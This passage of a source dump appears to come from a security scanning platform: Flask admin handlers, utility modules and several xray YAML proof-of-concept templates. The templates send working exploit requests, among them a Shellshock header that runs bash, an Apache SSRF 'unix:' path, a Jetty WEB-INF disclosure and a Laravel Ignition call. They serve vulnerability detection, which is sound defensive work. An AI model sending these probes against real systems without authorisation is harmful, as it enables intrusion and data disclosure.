109 | db.session.delete(username)
110 | db.session.commit()
111 | response['data']['res'].append(username_id)
112 | elif username_ids != '':
113 | try:
114 | for username_id in username_ids.split(','):
115 | username_id = username_id.replace(' ', '')
116 | username = db.session.query(DictUsername).filter(DictUsername.id == username_id).first()
117 | if username:
118 | db.session.delete(username)
119 | db.session.commit()
120 | response['data']['res'].append(username_id)
121 | except:
122 | pass
123 | conf.dict_username = db.session.query(DictUsername).all()
124 | return response
125 | return ApiStatus.ERROR_IS_NOT_EXIST
126 |
--------------------------------------------------------------------------------
/lib/hander/manager/system/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
--------------------------------------------------------------------------------
/lib/hander/manager/system/enginehander.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from flask import request
6 | from flask import render_template
7 | from flask import Blueprint
8 | from flask import session
9 | from sqlalchemy import and_
10 | from lib.hander import db
11 | from lib.util.util import get_time
12 | from lib.util.util import get_timestamp
13 | from lib.core.g import conf
14 | from lib.core.env import *
15 | from lib.core.model import Engine
16 | from lib.core.enums import EngineStatus
17 | from lib.core.enums import ApiStatus
18 | from lib.hander.basehander import save_sql
19 | from lib.hander.basehander import fix_response
20 | from lib.hander.basehander import login_check
21 |
22 | mod = Blueprint('engine', __name__, url_prefix=f"{PREFIX_URL}/manger/engine")
23 |
24 | @mod.route('/index', methods=['POST', 'GET'])
25 | @login_check
26 | def index():
27 | ctx = {}
28 | ctx['title'] = 'Engine'
29 | ctx['role'] = session.get('role')
30 | ctx['username'] = session.get('username')
31 | ctx['engine_status'] = EngineStatus
32 | return render_template('manager/system/engine.html', **ctx)
33 |
34 | @mod.route('/list', methods=['POST', 'GET'])
35 | @login_check
36 | @fix_response
37 | def list():
38 | response = {
39 | 'data': {
40 | 'res': [],
41 | 'total': 0,
42 | }
43 | }
44 | page = request.json.get('page', 1)
45 | per_page = request.json.get('per_page', 10)
46 | name = request.json.get('name', '')
47 | status = request.json.get('status', '')
48 | ip = request.json.get('ip', '')
49 | condition = (1 == 1)
50 | if name != '':
51 | condition = and_(condition, Engine.name.like('%' + name + '%'))
52 |
53 | if status != '':
54 | condition = and_(condition, Engine.status.like('%' + status + '%'))
55 |
56 | if ip != '':
57 | condition = and_(condition, Engine.ip.like('%' + ip + '%'))
58 |
59 | if per_page == 'all':
60 | engines = db.session.query(Engine).filter(condition).order_by(Engine.update_time.desc()).all()
61 | else:
62 | engines = db.session.query(Engine).filter(condition).order_by(Engine.update_time.desc()).paginate(page=page,
63 | per_page=per_page).items
64 | for row in engines:
65 | # 刷新状态
66 | laster = row.update_time
67 | temp = get_time(get_timestamp() - conf.basic.heartbeat_time - 300)
68 | if temp > laster:
69 | if row.status == EngineStatus.OK:
70 | row.status = EngineStatus.OFFLINE
71 | row.task_num = 0
72 | save_sql(row)
73 | response['data']['res'].append(row.to_json())
74 | response['data']['total'] = db.session.query(Engine).filter(condition).count()
75 | return response
76 |
77 | @mod.route('/delete', methods=['POST', 'GET'])
78 | @login_check
79 | @fix_response
80 | def delete():
81 | response = {'data': {'res': []}}
82 | engine_id = request.json.get('id', '')
83 | engine_ids = request.json.get('ids', '')
84 | if engine_id != '' or engine_ids != '':
85 | if engine_id != '':
86 | engine = db.session.query(Engine).filter(Engine.id == engine_id).first()
87 | if engine:
88 | db.session.delete(engine)
89 | db.session.commit()
90 | response['data']['res'].append(engine_id)
91 | if engine_ids != '':
92 | try:
93 | for engine_id in engine_ids.split(','):
94 | engine_id = engine_id.replace(' ', '')
95 | engine = db.session.query(Engine).filter(Engine.id == engine_id).first()
96 | if engine:
97 | db.session.delete(engine)
98 | db.session.commit()
99 | response['data']['res'].append(engine_id)
100 | except:
101 | pass
102 | return response
103 | return ApiStatus.ERROR_IS_NOT_EXIST
104 |
105 |
106 | @mod.route('/edit', methods=['POST', 'GET'])
107 | @login_check
108 | @fix_response
109 | def edit():
110 | engine_id = request.json.get('id', '')
111 | name = request.json.get('name', '')
112 | description = request.json.get('description', '')
113 | scan_max_task_num = request.json.get('scan_max_task_num', '')
114 | status = request.json.get('status', '')
115 | mark = request.json.get('mark', '')
116 |
117 | if status not in [EngineStatus.OK, EngineStatus.STOP]:
118 | return ApiStatus.ERROR_INVALID_INPUT
119 |
120 | if engine_id != '':
121 | engine_id = engine_id
122 | engine = db.session.query(Engine).filter(Engine.id == engine_id).first()
123 | if engine:
124 | engine.mark = mark
125 | engine.name = name
126 | engine.description = description
127 | engine.scan_max_task_num = scan_max_task_num
128 | engine.status = status
129 | engine.update_time = get_time()
130 | save_sql(engine)
131 | return {'data': {'res': [engine_id]}}
132 |
133 | return ApiStatus.ERROR_IS_NOT_EXIST
134 |
--------------------------------------------------------------------------------
/lib/hander/manager/system/loghander.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from flask import request
6 | from flask import render_template
7 | from flask import Blueprint
8 | from flask import session
9 | from sqlalchemy import and_
10 | from sqlalchemy import or_
11 | from lib.core.model import Log
12 | from lib.core.model import User
13 | from lib.hander import db
14 | from lib.core.env import *
15 | from lib.util.util import get_timestamp
16 | from lib.util.util import get_time
17 | from lib.core.enums import ApiStatus
18 | from lib.core.enums import WebLogType
19 | from lib.hander.basehander import fix_response
20 | from lib.hander.basehander import login_check
21 |
22 | mod = Blueprint('log', __name__, url_prefix=f"{PREFIX_URL}/manger/log")
23 |
24 | @mod.route('/index', methods=['POST', 'GET'])
25 | @login_check
26 | def index():
27 | ctx = {}
28 | ctx['title'] = 'Log'
29 | ctx['role'] = session.get('role')
30 | ctx['username'] = session.get('username')
31 | ctx['log_type'] = WebLogType
32 | return render_template('manager/system/log.html', **ctx)
33 |
34 |
35 | @mod.route('/list', methods=['POST', 'GET'])
36 | @login_check
37 | @fix_response
38 | def list():
39 | response = {
40 | 'data': {
41 | 'res': [],
42 | 'total': 0,
43 | }
44 | }
45 | page = request.json.get('page', 1)
46 | per_page = request.json.get('per_page', 10)
47 | update_time = request.json.get('update_time', '')
48 | url = request.json.get('url', '')
49 | ip = request.json.get('ip', '')
50 | user = request.json.get('user', '')
51 | description = request.json.get('description', '')
52 | condition = (1 == 1)
53 | if update_time != '':
54 | condition = and_(condition, Log.update_time.like('%' + update_time + '%'))
55 |
56 | if description != '':
57 | condition = and_(condition, Log.description.like('%' + description + '%'))
58 |
59 | if url != '':
60 | condition = and_(condition, Log.url.like('%' + url + '%'))
61 |
62 | if user != '':
63 | users = db.session.query(User).filter(User.username.like('%' + user + '%')).all()
64 | condition_user = (1 == 2)
65 | for user in users:
66 | condition_user = or_(condition_user, Log.user_id == user.id)
67 | condition = and_(condition, condition_user)
68 |
69 | if ip != '':
70 | condition = and_(condition, Log.body.like('%' + ip + '%'))
71 |
72 | if per_page == 'all':
73 | for row in db.session.query(Log).filter(condition).all():
74 | response['data']['res'].append(row.to_json())
75 | else:
76 | for row in db.session.query(Log).filter(condition).order_by(Log.update_time.desc()).paginate(page=page, per_page=per_page).items:
77 | response['data']['res'].append(row.to_json())
78 | response['data']['total'] = db.session.query(Log).filter(condition).count()
79 | return response
80 |
81 | @mod.route('/clear_all', methods=['POST', 'GET'])
82 | @login_check
83 | @fix_response
84 | def clear_all():
85 | response = {'data': {'res': []}}
86 | delete_time = get_time(get_timestamp())
87 | condition = (1 == 1)
88 | condition = and_(condition, Log.update_time <= delete_time)
89 | db.session.query(Log).filter(condition).delete(synchronize_session=False)
90 | return response
91 |
92 | @mod.route('/delete', methods=['POST', 'GET'])
93 | @login_check
94 | @fix_response
95 | def delete():
96 | response = {'data': {'res': []}}
97 | log_id = request.json.get('id', '')
98 | log_ids = request.json.get('ids', '')
99 | if log_id != '' or log_ids != '':
100 | if log_id != '':
101 | log_id = int(log_id)
102 | db.session.query(Log).filter(Log.id == log_id).delete(synchronize_session=False)
103 | return response
104 | if log_ids != '':
105 | try:
106 | for log_id in log_ids.split(','):
107 | log_id = int(log_id.replace(' ', ''))
108 | db.session.query(Log).filter(Log.id == log_id).delete(synchronize_session=False)
109 | except:
110 | pass
111 | return response
112 | return ApiStatus.ERROR_IS_NOT_EXIST
--------------------------------------------------------------------------------
/lib/util/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
--------------------------------------------------------------------------------
/lib/util/addonutil.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | import re
6 | import importlib.util
7 | import traceback
8 |
9 | from lib.core.env import *
10 | from lib.core.g import log
11 |
12 |
13 | def import_addon_file(addons_path=None):
14 | """载入addon"""
15 |
16 | addon_list = []
17 | addon_path_list = []
18 | if addons_path:
19 | _len = len(ROOT_PATH) + 1
20 | if os.path.isdir(addons_path):
21 | for parent, dirnames, filenames in os.walk(addons_path, followlinks=True):
22 | for each in filenames:
23 | if '__init__' in each or each.startswith('.') or not each.endswith('.py') or each == "init.py":
24 | continue
25 |
26 | addon_path = '.'.join(re.split('[\\\\/]', os.path.join(parent, each)[_len:-3]))
27 | addon_path_list.append(addon_path)
28 | else:
29 | if addons_path.startswith(ROOT_PATH):
30 | addons_path = addons_path[_len:]
31 | if addons_path.endswith('.py'):
32 | addons_path = addons_path[: -3]
33 | addon_path = '.'.join(re.split('[\\\\/]', addons_path))
34 | addon_path_list.append(addon_path)
35 |
36 | addon_path_list.sort()
37 |
38 | for addon_path in addon_path_list:
39 | addon = import_script_file(addon_path)
40 | if addon:
41 | try:
42 | addon = addon.Addon()
43 | addon_path = addon.info().get("addon_path", None)
44 | log.debug(f"Import addon file, addon: {addon_path}")
45 | except Exception as e:
46 | traceback.print_exc()
47 | log.error(f'Error import addon file, addon: {addons_path}, error: {str(e)}')
48 | else:
49 | addon_list.append(addon)
50 | return addon_list
51 |
52 |
53 | def import_script_file(script_file=None):
54 | """载入script"""
55 |
56 | try:
57 | module_spec = importlib.util.find_spec(script_file)
58 | except:
59 | log.error(f'Error load addon, addon: {script_file}, error: module spec error')
60 | return None
61 | else:
62 | if module_spec:
63 | try:
64 | module = importlib.import_module(script_file)
65 | module = importlib.reload(module)
66 | if 'Addon' not in dir(module):
67 | log.error(f'Error import script file, addon: {script_file}, error: can\'t find Addon class.')
68 | else:
69 | return module
70 | except Exception as e:
71 | traceback.print_exc()
72 | log.error(f'Error import script file, addon: {script_file}, error: {str(e)}')
73 | else:
74 | log.error(f'Error import script file, addon: {script_file}, error: module spec error')
75 | return None
76 |
--------------------------------------------------------------------------------
/lib/util/cipherutil.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | import hashlib
6 | from jwt import PyJWT
7 | from base64 import b64encode
8 | from base64 import b64decode
9 | from urllib.parse import unquote
10 | from urllib.parse import quote
11 |
12 |
13 | def md5(message):
14 | """md5"""
15 | obj = hashlib.md5()
16 | obj.update(message.encode(encoding='utf-8'))
17 | return obj.hexdigest()
18 |
19 |
20 | def get_file_md5(file_path):
21 | """获取文件md5"""
22 | with open(file_path, 'rb') as f:
23 | md5obj = hashlib.md5()
24 | md5obj.update(f.read())
25 | _hash = md5obj.hexdigest()
26 | return str(_hash).upper()
27 |
28 | def jwtencode(message, secret_key, algorithm='HS256'):
29 | """jwt 加密"""
30 | instance = PyJWT()
31 | data = instance.encode(message, secret_key, algorithm=algorithm)
32 | return data
33 |
34 | def jwtdecode(token, secret_key, algorithms=None, do_time_check=True):
35 | """jwt 解密"""
36 | if algorithms is None:
37 | algorithms = ["HS256"]
38 |
39 | instance = PyJWT()
40 | data = instance.decode(token, secret_key, algorithms=algorithms, do_time_check=do_time_check)
41 | return data
42 |
43 | def urldecode(value, encoding='utf-8'):
44 | """url解码"""
45 |
46 | return unquote(value, encoding)
47 |
48 |
49 | def safe_urldecode(value, encoding='utf-8'):
50 | """url解码, 不报错版"""
51 |
52 | try:
53 | return urldecode(value, encoding)
54 | except:
55 | return None
56 |
57 |
58 | def urlencode(value, encoding='utf-8', all=False):
59 | """url编码"""
60 | if all:
61 | return ''.join('%{:02X}'.format(ord(c)) for c in value)
62 | else:
63 | return quote(value, encoding)
64 |
65 | def safe_urlencode(value, encoding='utf-8'):
66 | """url编码, 不报错版"""
67 | try:
68 | return urlencode(value, encoding)
69 | except:
70 | return None
71 |
72 |
73 | def base64encode(value, table=None, encoding='utf-8'):
74 | """base64编码"""
75 | b64_table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
76 | if type(value) is not bytes:
77 | value = bytes(value, encoding)
78 | if table:
79 | return str(str.translate(str(b64encode(value)), str.maketrans(b64_table, table)))[2:-1]
80 | else:
81 | return str(b64encode(value), encoding=encoding)
82 |
83 |
84 | def safe_base64encode(value, table=None, encoding='utf-8'):
85 | """base64编码, 不报错版"""
86 | try:
87 | return base64encode(value, table, encoding)
88 | except:
89 | return None
90 |
91 |
92 | def base64decode(value, table=None, encoding='utf-8'):
93 | """base64解码"""
94 | b64_table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
95 | if table:
96 | return b64decode(str.translate(value, str.maketrans(table, b64_table)))
97 | else:
98 | if type(value) is not bytes:
99 | value = bytes(value, encoding)
100 | return b64decode(value)
101 |
102 |
103 | def safe_base64decode(value, table=None, encoding='utf-8'):
104 | """base64解码, 不报错版"""
105 | try:
106 | result = base64decode(value, table, encoding)
107 | if isinstance(result, bytes):
108 | result = result.decode(encoding)
109 | return result
110 | except:
111 | return None
--------------------------------------------------------------------------------
/lib/util/configutil.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | import os
6 | import json
7 | import configparser
8 | from attribdict import AttribDict
9 |
10 | def load_conf(path):
11 | """加载配置文件"""
12 |
13 | config = AttribDict()
14 | cf = configparser.ConfigParser()
15 | cf.read(path)
16 | sections = cf.sections()
17 | for section in sections:
18 | config[section] = AttribDict()
19 | for option in cf.options(section):
20 | value = cf.get(section, option)
21 | try:
22 | if value.startswith("{") and value.endswith("}") or value.startswith("[") and value.endswith("]"):
23 | value = json.loads(value)
24 | elif value.lower() == "false":
25 | value = False
26 | elif value.lower() == "true":
27 | value = True
28 | else:
29 | value = int(value)
30 | except Exception as e:
31 | pass
32 | config[section][option] = value
33 | return config
34 |
35 |
36 | def init_conf(path, configs):
37 | """初始化配置文件"""
38 |
39 | dirname = os.path.dirname(path)
40 | if not os.path.exists(dirname):
41 | os.makedirs(dirname)
42 |
43 | cf = configparser.ConfigParser(allow_no_value=True)
44 | for (section, section_comment), section_value in configs.items():
45 | cf.add_section(section)
46 |
47 | if section_comment and section_comment != "":
48 | cf.set(section, fix_comment_content(f"{section_comment}\r\n"))
49 |
50 | for (key, key_comment), key_value in section_value.items():
51 | if key_comment and key_comment != "":
52 | cf.set(section, fix_comment_content(key_comment))
53 | if isinstance(key_value, dict) or isinstance(key_value, list):
54 | key_value = json.dumps(key_value)
55 | else:
56 | key_value = str(key_value)
57 | cf.set(section, key, f"{key_value}\r\n")
58 |
59 | with open(path, 'w+') as configfile:
60 | cf.write(configfile)
61 |
62 |
63 | def fix_comment_content(content):
64 | """按照80个字符一行就行格式化处理"""
65 |
66 | text = f'; '
67 | for i in range(0, len(content)):
68 | if i != 0 and i % 80 == 0:
69 | text += '\r\n; '
70 | text += content[i]
71 | return text
72 |
73 |
74 | def parser_conf(config_file_list):
75 | """解析配置文件,如不存在则创建"""
76 |
77 | config = dict()
78 | flag = True
79 | for _config_file, _config in config_file_list:
80 |
81 | if not os.path.exists(_config_file):
82 | flag = False
83 | init_conf(_config_file, _config)
84 | print(f"Please set the config in {_config_file}...")
85 |
86 | temp_conf = load_conf(_config_file)
87 | config.update(temp_conf.as_dict())
88 |
89 | if not flag:
90 | exit()
91 |
92 | return AttribDict(config)
93 |
--------------------------------------------------------------------------------
/lib/util/flowutil.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from typing import Type
6 | from typing import Dict
7 | from typing import Union
8 | from typing import Any
9 | from typing import cast
10 | from mitmproxy import exceptions
11 | from mitmproxy.io import compat
12 | from mitmproxy.io import tnetstring
13 | from mitmproxy.flow import Flow
14 | from mitmproxy.tcp import TCPFlow
15 | from mitmproxy.http import HTTPFlow
16 |
17 |
18 | FLOW_TYPES: Dict[str, Type[Flow]] = dict(
19 | http=HTTPFlow,
20 | tcp=TCPFlow,
21 | )
22 |
23 |
24 | def flow_dumps(flow: Flow):
25 | """序列化flow数据"""
26 |
27 | d = flow.get_state()
28 | w = tnetstring.dumps(d)
29 | return w
30 |
31 |
32 | def flow_loads(data: bytes):
33 | """反序列化flow数据"""
34 |
35 | try:
36 | loaded = cast(
37 | Dict[Union[bytes, str], Any],
38 | tnetstring.loads(data),
39 | )
40 | try:
41 | mdata = compat.migrate_flow(loaded)
42 | except ValueError as e:
43 | raise exceptions.FlowReadException(str(e))
44 | if mdata["type"] not in FLOW_TYPES:
45 | raise exceptions.FlowReadException("Unknown flow type: {}".format(mdata["type"]))
46 | return FLOW_TYPES[mdata["type"]].from_state(mdata)
47 | except (ValueError, TypeError) as e:
48 | if str(e) == "not a tnetstring: empty file":
49 | return
50 | raise exceptions.FlowReadException("Invalid data format.")
51 |
52 |
--------------------------------------------------------------------------------
/manager.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from lib.core.env import *
6 | from argparse import ArgumentParser
7 | from lib.core.core import start_manager
8 |
9 |
10 | def arg_set(parser):
11 | parser.add_argument('-lh', "--listen-host", action='store', help='Listen address', type=str)
12 | parser.add_argument('-lp', "--listen-port", action='store', help='Listen port', type=int)
13 | parser.add_argument("-d", "--debug", action='store_true', help="Run debug", default=False)
14 | parser.add_argument("-h", "--help", action='store_true', help="Show help", default=False)
15 | return parser
16 |
17 | if __name__ == '__main__':
18 | parser = ArgumentParser(add_help=False)
19 | parser = arg_set(parser)
20 | args = parser.parse_args()
21 | if args.help:
22 | parser.print_help()
23 | else:
24 | start_manager(args)
25 |
--------------------------------------------------------------------------------
/poc/xray/pocs/apache-httpd-cve-2021-40438-ssrf.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-apache-httpd-cve-2021-40438-ssrf
2 | manual: true
3 | transport: http
4 | rules:
5 | r0:
6 | request:
7 | cache: true
8 | method: GET
9 | path: /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://baidu.com/api/v1/targets
10 | follow_redirects: false
11 | expression: response.status == 302 && response.headers["location"] == "http://www.baidu.com/search/error.html"
12 | expression: r0()
13 | detail:
14 | author: Jarcis-cy(https://github.com/Jarcis-cy)
15 | links:
16 | - https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-40438
17 |
--------------------------------------------------------------------------------
/poc/xray/pocs/bash-cve-2014-6271.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-bash-cve-2014-6271
2 | manual: true
3 | transport: http
4 | set:
5 | r1: randomInt(800000000, 1000000000)
6 | r2: randomInt(800000000, 1000000000)
7 | rules:
8 | r0:
9 | request:
10 | cache: true
11 | method: GET
12 | headers:
13 | User-Agent: () { :; }; echo; echo; /bin/bash -c 'expr {{r1}} + {{r2}}'
14 | follow_redirects: false
15 | expression: response.body.bcontains(bytes(string(r1 + r2)))
16 | expression: r0()
17 | detail:
18 | author: neal1991(https://github.com/neal1991)
19 | links:
20 | - https://github.com/opsxcq/exploit-CVE-2014-6271
21 |
--------------------------------------------------------------------------------
/poc/xray/pocs/jetty-cve-2021-28164.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-jetty-cve-2021-28164
2 | manual: true
3 | transport: http
4 | rules:
5 | r0:
6 | request:
7 | cache: true
8 | method: GET
9 | path: /%2e/WEB-INF/web.xml
10 | follow_redirects: false
11 | expression: response.status == 200 && response.content_type == "application/xml" && response.body.bcontains(b"")
12 | expression: r0()
13 | detail:
14 | author: Sup3rm4nx0x (https://github.com/Sup3rm4nx0x)
15 | links:
16 | - https://www.linuxlz.com/aqld/2309.html
17 |
--------------------------------------------------------------------------------
/poc/xray/pocs/laravel-cve-2021-3129.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-laravel-cve-2021-3129
2 | manual: true
3 | transport: http
4 | set:
5 | r: randomLowercase(12)
6 | rules:
7 | r0:
8 | request:
9 | cache: true
10 | method: POST
11 | path: /_ignition/execute-solution
12 | headers:
13 | Content-Type: application/json
14 | body: |-
15 | {
16 | "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
17 | "parameters": {
18 | "variableName": "username",
19 | "viewFile": "{{r}}"
20 | }
21 | }
22 | follow_redirects: true
23 | expression: >
24 | response.status == 500 && response.body.bcontains(bytes("file_get_contents(" + string(r) + ")")) && response.body.bcontains(bytes("failed to open stream"))
25 | expression: r0()
26 | detail:
27 | author: Jarcis-cy(https://github.com/Jarcis-cy)
28 | links:
29 | - https://github.com/vulhub/vulhub/blob/master/laravel/CVE-2021-3129
30 |
--------------------------------------------------------------------------------
/poc/xray/pocs/phpstudy-backdoor-rce.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-phpstudy-backdoor-rce
2 | manual: true
3 | transport: http
4 | set:
5 | r: randomLowercase(6)
